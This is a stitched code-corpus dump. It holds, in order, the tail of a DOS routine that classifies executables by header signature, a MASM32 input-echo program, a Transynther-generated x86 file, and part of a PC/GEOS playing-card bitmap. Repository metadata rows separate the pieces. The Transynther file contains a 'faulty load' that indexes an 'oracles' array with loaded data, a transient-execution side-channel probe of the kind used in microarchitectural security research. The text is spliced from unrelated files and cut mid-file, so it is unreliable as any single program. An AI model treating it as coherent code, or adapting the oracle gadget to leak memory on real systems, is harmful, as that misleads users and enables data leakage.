invoke $lseek ;move file pointer
pop bp
pop ds
mov bx, Exec_Fh
lea dx, ExecWord ;read the first two bytes from new header
mov cx, 2
push BP
push ds
call $READ
pop ds
pop bp
jc GBT_exe_file
cmp ax, 2
jne GBT_exe_file
mov ax, ExecWord
cmp ax, ExecSignature_NE ;win16, os/2 bound ?
je GBT_unknown
cmp ax, ExecSignature_PE ;nt?
je GBT_unknown
cmp ax, ExecSignature_LE ;os/2?
je GBT_unknown
GBT_exe_file:
mov al, 0
clc
jmp short GBT_Exit
GBT_com_file:
mov al, 1
clc
jmp short GBT_exit
GBT_unknown:
push bp
call $CLOSE
pop bp
mov al, 0ffh
clc
GBT_Exit:
pop dx
pop bx
pop es
pop ds
ret
get_binary_type endp
; =========================================================================
DOSCODE ENDS
; =========================================================================
END
| 23.96129 | 88 | 0.607908 |
7f11f45a5227321fc570185a104cd70d8faffa1f | 639 | asm | Assembly | wasm/part0601/main.asm | Bigsby/slae | bbbb72dee8959dc36d1ba6d8636f6f65c4853f56 | [
"MIT"
] | null | null | null | wasm/part0601/main.asm | Bigsby/slae | bbbb72dee8959dc36d1ba6d8636f6f65c4853f56 | [
"MIT"
] | null | null | null | wasm/part0601/main.asm | Bigsby/slae | bbbb72dee8959dc36d1ba6d8636f6f65c4853f56 | [
"MIT"
] | null | null | null | .386
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib
PrintOnScreen MACRO location
invoke StdOut, location
ENDM
.data
EnterNumber db "Enter nubmer: ", 0
NumberEnteredInText db 50 DUP(0)
.code
start:
invoke StdOut, addr EnterNumber
invoke StdIn, addr NumberEnteredInText, 49
PrintOnScreen addr NumberEnteredInText
mov eax, 0
test eax, eax
PrintOnScreen addr NumberEnteredInText
invoke ExitProcess, 0
end start
| 17.75 | 46 | 0.746479 |
63239b60e91a28d5520330227956787680cb5be7 | 7,769 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_4609_1690.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_4609_1690.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_4609_1690.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x16fdd, %rbp
xor %rax, %rax
vmovups (%rbp), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %rbx
nop
nop
nop
add %rdi, %rdi
lea addresses_UC_ht+0x10e7d, %rsi
lea addresses_UC_ht+0x15b5d, %rdi
nop
nop
and %r11, %r11
mov $26, %rcx
rep movsl
nop
nop
nop
nop
nop
add %rbx, %rbx
lea addresses_normal_ht+0x15530, %rax
and %rsi, %rsi
mov (%rax), %ecx
nop
nop
cmp $33094, %rax
lea addresses_WT_ht+0x6b43, %rsi
nop
xor $24735, %rbp
movups (%rsi), %xmm6
vpextrq $1, %xmm6, %r11
nop
nop
xor $1743, %rsi
lea addresses_WC_ht+0x101fd, %rbx
nop
nop
inc %r11
movb (%rbx), %al
nop
nop
nop
add $9905, %rax
lea addresses_normal_ht+0x3aed, %rbp
nop
nop
and $28430, %rsi
mov (%rbp), %ebx
nop
sub $59220, %rbx
lea addresses_UC_ht+0xea9b, %rcx
and $6984, %rsi
mov (%rcx), %rbx
nop
nop
nop
and $29254, %rsi
lea addresses_D_ht+0x6a7d, %rsi
lea addresses_WC_ht+0x1247d, %rdi
nop
nop
nop
nop
cmp %r14, %r14
mov $0, %rcx
rep movsl
nop
nop
nop
nop
add $18327, %rsi
lea addresses_UC_ht+0x1dc7d, %rbx
nop
nop
nop
and %r11, %r11
mov (%rbx), %rdi
nop
nop
nop
nop
nop
mfence
lea addresses_WT_ht+0xc47d, %rsi
lea addresses_A_ht+0xdf7d, %rdi
nop
nop
nop
nop
xor %rbp, %rbp
mov $44, %rcx
rep movsb
nop
nop
nop
sub $47080, %rbx
lea addresses_WC_ht+0x1747d, %r11
nop
nop
dec %rdi
vmovups (%r11), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $0, %xmm0, %rsi
nop
nop
nop
nop
nop
and $64141, %r11
lea addresses_WC_ht+0x17e7d, %rbp
nop
nop
xor %rdi, %rdi
mov (%rbp), %ebx
nop
nop
nop
nop
sub %rbp, %rbp
lea addresses_WC_ht+0xbc7d, %rsi
lea addresses_A_ht+0xab11, %rdi
nop
nop
nop
nop
nop
xor $12912, %rbx
mov $9, %rcx
rep movsl
nop
nop
nop
nop
nop
and $47395, %rbx
lea addresses_normal_ht+0x18ae3, %rdi
nop
nop
nop
nop
nop
add $56021, %rbp
movb (%rdi), %cl
nop
xor %rcx, %rcx
lea addresses_A_ht+0x6c05, %rsi
lea addresses_normal_ht+0x1f7d, %rdi
nop
nop
nop
nop
nop
add $1483, %r14
mov $124, %rcx
rep movsb
nop
nop
nop
xor %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %rbx
push %rcx
push %rsi
// Faulty Load
lea addresses_RW+0xb47d, %r12
nop
nop
sub %rcx, %rcx
mov (%r12), %r11d
lea oracles, %rsi
and $0xff, %r11
shlq $12, %r11
mov (%rsi,%r11,1), %r11
pop %rsi
pop %rcx
pop %rbx
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': True, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}}
{'32': 4609}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 33.200855 | 2,999 | 0.65697 |
9ede12daa90d46632b92d6ad55c359f84aa6b7c5 | 21,559 | asm | Assembly | Appl/Art/Decks/GeoDeck/LCDiamondQ.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Appl/Art/Decks/GeoDeck/LCDiamondQ.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Appl/Art/Decks/GeoDeck/LCDiamondQ.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | LCDiamondQ label byte
word C_BLACK
Bitmap <71,100,BMC_PACKBITS,BMF_4BIT or mask BMT_MASK>
db 0x00, 0x1f, 0xfa, 0xff, 0x00, 0xf0
db 0x01, 0xdd, 0xd0, 0xe1, 0x00, 0x01, 0xdd, 0xd0
db 0x00, 0x7f, 0xfa, 0xff, 0x00, 0xfc
db 0x01, 0xd0, 0x0f, 0xe1, 0xff, 0x01, 0x00, 0xd0
db 0x00, 0x7f, 0xfa, 0xff, 0x00, 0xfc
db 0x00, 0xd0, 0xe0, 0xff, 0x01, 0xf0, 0xd0
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xdf, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x0f, 0xff, 0xfe, 0xcc, 0xe3, 0xff, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x0f, 0xfc, 0xfe, 0xcc, 0x00, 0xcf, 0xe4,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x05, 0x0f, 0xfc, 0xcf, 0xff, 0xfc, 0xcf, 0xf0,
0xff, 0x00, 0xf0, 0xf6, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x05, 0x0f, 0xfc, 0xcf, 0xff, 0xfc, 0xcf, 0xf0,
0xff, 0x02, 0x00, 0xff, 0xf7, 0xf8, 0xff, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x05, 0x0f, 0xfc, 0xcf, 0xff, 0xfc, 0xcf, 0xf1,
0xff, 0x03, 0xf0, 0x4e, 0x0f, 0x77, 0xf8, 0xff,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x05, 0x0f, 0xfc, 0xcf, 0xff, 0xfc, 0xcf, 0xf1,
0xff, 0x04, 0x0c, 0x44, 0x40, 0x77, 0x7f, 0xf9,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x05, 0x0f, 0xfc, 0xcf, 0xff, 0xfc, 0xcf, 0xf4,
0xff, 0x07, 0xf0, 0x00, 0x00, 0xce, 0x4e, 0x4e,
0x00, 0x77, 0xf9, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x05, 0x0f, 0xfc, 0xcf, 0xff, 0xfc, 0xcf, 0xf5,
0xff, 0x00, 0xf0, 0xfe, 0x00, 0x05, 0x0c, 0xc4,
0x4e, 0xee, 0x00, 0x77, 0xfa, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x05, 0x0f, 0xfc, 0xcf, 0xff, 0xfc, 0xcf, 0xf0,
0x00, 0x06, 0xec, 0xe4, 0x44, 0xee, 0x00, 0x00,
0x0f, 0xfc, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x06, 0x0f, 0xfc, 0xcf, 0xff, 0xfc, 0xcf, 0x0f,
0xf7, 0xff, 0x00, 0xf0, 0xfd, 0x0f, 0x07, 0x00,
0x0c, 0x44, 0xe4, 0xee, 0x0f, 0xff, 0x0f, 0xfc,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x06, 0x0f, 0xfc, 0xcf, 0xff, 0xfc, 0xcf, 0x0f,
0xfe, 0xff, 0x00, 0xcf, 0xfb, 0xff, 0x00, 0x00,
0xfc, 0xf0, 0x06, 0x0c, 0xe4, 0x44, 0xee, 0x0f,
0xff, 0x0f, 0xfc, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x0a, 0x0f, 0xfc, 0xcf, 0xff, 0xfc, 0xcf, 0x0f,
0xff, 0xff, 0xfc, 0xcc, 0xfb, 0xff, 0xfb, 0x0f,
0x06, 0x00, 0xc4, 0xee, 0xee, 0x0f, 0xff, 0x0f,
0xfc, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x0b, 0x0f, 0xfc, 0xcf, 0xcc, 0xfc, 0xcf, 0x0f,
0xff, 0xff, 0xcc, 0xfc, 0xcf, 0xfd, 0xff, 0x03,
0xf0, 0x00, 0xf0, 0xff, 0xfe, 0xf0, 0x06, 0x00,
0xcc, 0x44, 0x44, 0x0f, 0xff, 0x0f, 0xfc, 0xff,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x0f, 0xfc, 0xfe, 0xcc, 0x06, 0xcf, 0x0f,
0xff, 0xfc, 0xcf, 0xcc, 0xcc, 0xfd, 0xff, 0x0d,
0xf0, 0x0f, 0x0f, 0xff, 0xff, 0x0f, 0x00, 0x00,
0x0e, 0x44, 0xe4, 0xe0, 0xff, 0x0f, 0xfc, 0xff,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x0f, 0xff, 0xfe, 0xcc, 0x07, 0xff, 0x0f,
0xff, 0xcc, 0xfc, 0xcc, 0xcc, 0xcf, 0xfe, 0xff,
0x01, 0xf0, 0x00, 0xfe, 0xff, 0x08, 0xf0, 0x00,
0x90, 0x0c, 0xcc, 0x44, 0xe0, 0xff, 0x0f, 0xfc,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfe, 0xff, 0x04, 0xcc, 0xcf, 0x0f,
0xfc, 0xcf, 0xfd, 0xcc, 0xfe, 0xff, 0x01, 0x0e,
0x0f, 0xfd, 0xff, 0x07, 0xf0, 0xf0, 0x00, 0xce,
0x4e, 0xe0, 0xff, 0x0f, 0xfc, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfe, 0xff, 0x04, 0xfc, 0xcf, 0x0f,
0xfc, 0xfc, 0xfd, 0xcc, 0xfe, 0xff, 0x0d, 0x0e,
0x0f, 0x00, 0xff, 0x00, 0xff, 0xf0, 0x0f, 0x00,
0xcc, 0x44, 0x4e, 0x0f, 0x0f, 0xfc, 0xff, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x06, 0x0f, 0xff, 0xff, 0xcf, 0xff, 0xff, 0x0f,
0xfb, 0xcc, 0x10, 0xcf, 0xff, 0xff, 0x0e, 0x00,
0x0f, 0x00, 0x0f, 0xff, 0xff, 0x09, 0x00, 0x0c,
0x00, 0x00, 0x0f, 0x0f, 0xfc, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x07, 0x0f, 0xff, 0xfc, 0xcc, 0xff, 0xff, 0x0f,
0xfc, 0xfc, 0xcc, 0x06, 0xff, 0xff, 0xf0, 0xe0,
0x0f, 0xff, 0x0f, 0xfe, 0xff, 0x02, 0x0f, 0x00,
0x00, 0xfe, 0xff, 0x00, 0x0f, 0xfc, 0xff, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x07, 0x0f, 0xff, 0xcc, 0xfc, 0xcf, 0xff, 0x0f,
0xfc, 0xfc, 0xcc, 0x05, 0xff, 0xff, 0xf0, 0xe0,
0x0f, 0xf0, 0xfd, 0xff, 0x02, 0x0f, 0x00, 0x00,
0xfe, 0xff, 0x00, 0x0f, 0xfc, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x07, 0x0f, 0xfc, 0xcf, 0xcc, 0xcc, 0xff, 0x0f,
0xff, 0xfd, 0xcc, 0x06, 0xcf, 0xff, 0xff, 0x0e,
0x0c, 0x0f, 0xf0, 0xfd, 0xff, 0x06, 0x09, 0xf0,
0x00, 0x0f, 0xff, 0xff, 0x0f, 0xfc, 0xff, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x08, 0x0f, 0xfc, 0xfc, 0xcc, 0xcc, 0xff, 0x0f,
0xff, 0xfc, 0xfe, 0xcc, 0x05, 0xff, 0xff, 0xf0,
0xe0, 0xc0, 0x0f, 0xfc, 0xff, 0x06, 0x00, 0xf0,
0x00, 0x00, 0xff, 0xff, 0x0f, 0xfc, 0xff, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xcc, 0x18, 0xcf, 0x0f, 0xff,
0xff, 0xcc, 0xcc, 0xcf, 0xff, 0xff, 0x0e, 0x0c,
0xc0, 0x0f, 0xf0, 0x0f, 0xff, 0xff, 0xf0, 0x00,
0xf9, 0x00, 0x00, 0xff, 0xff, 0x0f, 0xfc, 0xff,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x0f, 0xfc, 0xfe, 0xcc, 0x0c, 0xff, 0x0f,
0xff, 0xff, 0xfc, 0xcc, 0xff, 0xff, 0xf0, 0xe0,
0xcc, 0xc0, 0x0f, 0xfd, 0xff, 0x07, 0x0e, 0xe0,
0x9f, 0x00, 0x00, 0x0f, 0xff, 0x0f, 0xfc, 0xff,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x01, 0x0f, 0xfc, 0xfe, 0xcc, 0x01, 0xff, 0x0f,
0xfe, 0xff, 0x07, 0xcf, 0xff, 0xff, 0x0e, 0x0c,
0xcc, 0x00, 0x00, 0xfe, 0xff, 0x08, 0xf0, 0xee,
0xee, 0x0f, 0xf0, 0x00, 0x0f, 0xff, 0x0f, 0xfc,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x06, 0x0f, 0xff, 0xcc, 0xcc, 0xcf, 0xff, 0x0f,
0xfb, 0xff, 0x10, 0x0e, 0x0c, 0xcc, 0x00, 0xee,
0x0f, 0xff, 0x00, 0x0e, 0xee, 0xee, 0x0f, 0x90,
0x00, 0x00, 0xff, 0x0f, 0xfc, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x06, 0x0f, 0xff, 0xfc, 0xcc, 0xff, 0xff, 0x0f,
0xfc, 0xff, 0x07, 0xf0, 0xe0, 0xcc, 0xc0, 0x00,
0xee, 0xe0, 0x00, 0xfe, 0xee, 0x06, 0xe0, 0x09,
0xff, 0x00, 0x00, 0xff, 0x0f, 0xfc, 0xff, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x06, 0x0f, 0xff, 0xff, 0xcf, 0xff, 0xff, 0x0f,
0xfc, 0xff, 0x05, 0xf0, 0xe0, 0xcc, 0xc0, 0xe0,
0x00, 0xfd, 0xee, 0x07, 0x00, 0x0e, 0x00, 0xff,
0x00, 0x00, 0x0f, 0x0f, 0xfc, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfc, 0xff, 0x00, 0x0f, 0xfc, 0xff,
0x05, 0xf0, 0xe0, 0xcc, 0x00, 0xe0, 0xee, 0xfd,
0x00, 0x07, 0xee, 0xe0, 0xe0, 0xf9, 0xf0, 0x00,
0x0f, 0x0f, 0xfc, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfd, 0xff, 0x01, 0x00, 0x0f, 0xfc,
0xff, 0x11, 0xf0, 0xe0, 0xcc, 0x0e, 0x0e, 0xe0,
0xee, 0xe0, 0xee, 0xe0, 0xee, 0x0e, 0x00, 0x9f,
0xf0, 0x00, 0x00, 0x0f, 0xfc, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x07, 0x0f, 0xff, 0xff, 0xf0, 0x00, 0xee, 0x00,
0x0f, 0xfd, 0xff, 0x04, 0xf0, 0xe0, 0x00, 0x0e,
0xee, 0xfb, 0x0e, 0x06, 0xe0, 0xe0, 0x0f, 0xf9,
0x00, 0x00, 0x0f, 0xfc, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x07, 0x0f, 0xff, 0xff, 0xf0, 0xe0, 0xee, 0x0e,
0x0f, 0xfc, 0xff, 0x10, 0x0e, 0x00, 0xc0, 0xee,
0xe0, 0xee, 0xe0, 0xee, 0xe0, 0xee, 0xe0, 0x0c,
0x0f, 0x9f, 0xf0, 0x00, 0x0f, 0xfc, 0xff, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x07, 0x0f, 0xff, 0xff, 0xf0, 0x0e, 0xcc, 0xe0,
0x0e, 0xfc, 0xff, 0x03, 0x0e, 0x09, 0x0c, 0x00,
0xfd, 0xee, 0x00, 0xe0, 0xfd, 0x00, 0x03, 0xff,
0xf9, 0x00, 0x0f, 0xfc, 0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x10, 0x0f, 0xff, 0xff, 0x0e, 0xec, 0xee, 0xce,
0xe0, 0xff, 0x00, 0x0f, 0xff, 0xff, 0xf0, 0x99,
0x90, 0xcc, 0xfd, 0x00, 0x08, 0x0c, 0xcc, 0xcc,
0x00, 0xee, 0x0f, 0x9f, 0xff, 0x0f, 0xfc, 0xff,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x10, 0x0f, 0xff, 0xff, 0x0e, 0xec, 0xee, 0xce,
0xe0, 0xf0, 0xaa, 0x00, 0xff, 0xff, 0x00, 0x00,
0x99, 0x00, 0xfd, 0xcc, 0x00, 0xc0, 0xfe, 0x00,
0x04, 0x0e, 0xe0, 0x00, 0x00, 0x0f, 0xfc, 0xff,
0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x10, 0x0f, 0xff, 0xff, 0xf0, 0x0e, 0xcc, 0xe0,
0x0f, 0x0a, 0xa0, 0x22, 0x0f, 0xff, 0x09, 0x00,
0x99, 0x0e, 0xfc, 0x00, 0x07, 0xcf, 0xcc, 0xc0,
0x00, 0xee, 0x99, 0x9e, 0x0f, 0xfc, 0xff, 0x00,
0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x1d, 0x0f, 0xff, 0xff, 0xf0, 0xe0, 0xee, 0x0e,
0x00, 0xf0, 0x0f, 0x02, 0x0f, 0xf0, 0x9c, 0x90,
0x00, 0xee, 0x0e, 0x0e, 0xe0, 0xe0, 0x0f, 0xcc,
0xcf, 0xcc, 0x00, 0x0e, 0xee, 0x9e, 0x0f, 0xfc,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x1d, 0x0f, 0xff, 0xff, 0xf0, 0x00, 0xee, 0x00,
0x00, 0x0f, 0xff, 0xf0, 0xff, 0x09, 0xc9, 0xc0,
0x0e, 0xe0, 0xe0, 0xee, 0xe0, 0xe0, 0x0c, 0xcf,
0xcc, 0xcf, 0x0e, 0x00, 0xee, 0x99, 0x0f, 0xfc,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfe, 0xff, 0x02, 0xf7, 0x00, 0xaa,
0xfe, 0x00, 0x06, 0xff, 0xff, 0x00, 0x9c, 0x90,
0x0e, 0xee, 0xfe, 0x0e, 0x09, 0x00, 0xcf, 0xcc,
0xcf, 0xcc, 0x0e, 0xe0, 0x0e, 0xee, 0x0f, 0xfc,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfe, 0xff, 0x19, 0xf0, 0xaa, 0xa0,
0xf0, 0xf0, 0xff, 0x00, 0xf0, 0xee, 0x09, 0x00,
0xee, 0xe0, 0xe0, 0xee, 0x0e, 0x00, 0xcc, 0xcf,
0xcc, 0xcf, 0x0e, 0x0e, 0x00, 0xee, 0x0f, 0xfc,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfe, 0xff, 0x0c, 0x0a, 0xaa, 0x0f,
0xf0, 0x00, 0x0f, 0xff, 0x00, 0x0e, 0xe0, 0x00,
0xee, 0xee, 0xfe, 0x0e, 0x09, 0x00, 0xcf, 0xcc,
0xcf, 0xc0, 0xe0, 0x00, 0xe0, 0x0e, 0x0f, 0xfc,
0xff, 0x00, 0x00
db 0xf9, 0xff, 0x00, 0xfe
db 0x00, 0x0f, 0xfe, 0xff, 0x19, 0x0a, 0xa0, 0x0f,
0x0f, 0xff, 0xf0, 0xf0, 0x0e, 0x00, 0xee, 0x00,
